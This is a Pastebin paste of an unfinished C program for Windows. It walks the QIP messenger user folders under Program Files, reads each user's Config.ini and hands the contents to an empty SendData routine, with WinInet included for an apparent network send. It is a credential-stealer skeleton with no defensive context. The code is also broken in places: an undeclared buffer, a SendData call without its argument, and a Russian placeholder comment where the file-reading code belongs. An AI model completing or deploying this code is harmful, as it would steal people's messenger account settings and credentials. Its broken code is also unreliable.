Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #undef UNICODE
- #include <Windows.h>
- #include <WinInet.h>
- #include <stdio.h>
- void SendData(char* Buf)
- {
- }
- void ProgressFile(char* FileName, char* DirName)
- {
- FILE* f;
- char result[4096];
- f = fopen(FileName, "r");
- if (!f)
- {
- return;
- }
- sprintf(result, "%s:", DirName);
- while (!feof(f))
- {
- fgets(buf, sizeof(buf), f);
- далее твой код считывания файла
- }
- SendData();
- fclose(f);
- }
- int WINAPI WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int CmdShow)
- {
- char ProgramFiles[MAX_PATH];
- char Path[MAX_PATH];
- DWORD Status;
- HANDLE hFile;
- WIN32_FIND_DATA fdata;
- Status = ExpandEnvironmentStrings("%ProgramFiles%", ProgramFiles, sizeof(ProgramFiles));
- if (Status == 0 || Status > MAX_PATH)
- {
- return 0;
- }
- sprintf(Path, "%s\\QIP\\Users\\*.*", ProgramFiles);
- hFile = FindFirstFile(Path, &fdata);
- if (hFile == INVALID_HANDLE_VALUE)
- {
- return 0;
- }
- do
- {
- if (!strchr(fdata.cFileName, '.'))
- {
- sprintf(Path, "%s\\QIP\\Users\\%s\\Config.ini", ProgramFiles, fdata.cFileName);
- ProgressFile(Path, fdata.cFileName);
- }
- } while(FindNextFile(hFile, &fdata));
- FindClose(hFile);
- return 0;
- }
Add Comment
Please, Sign In to add comment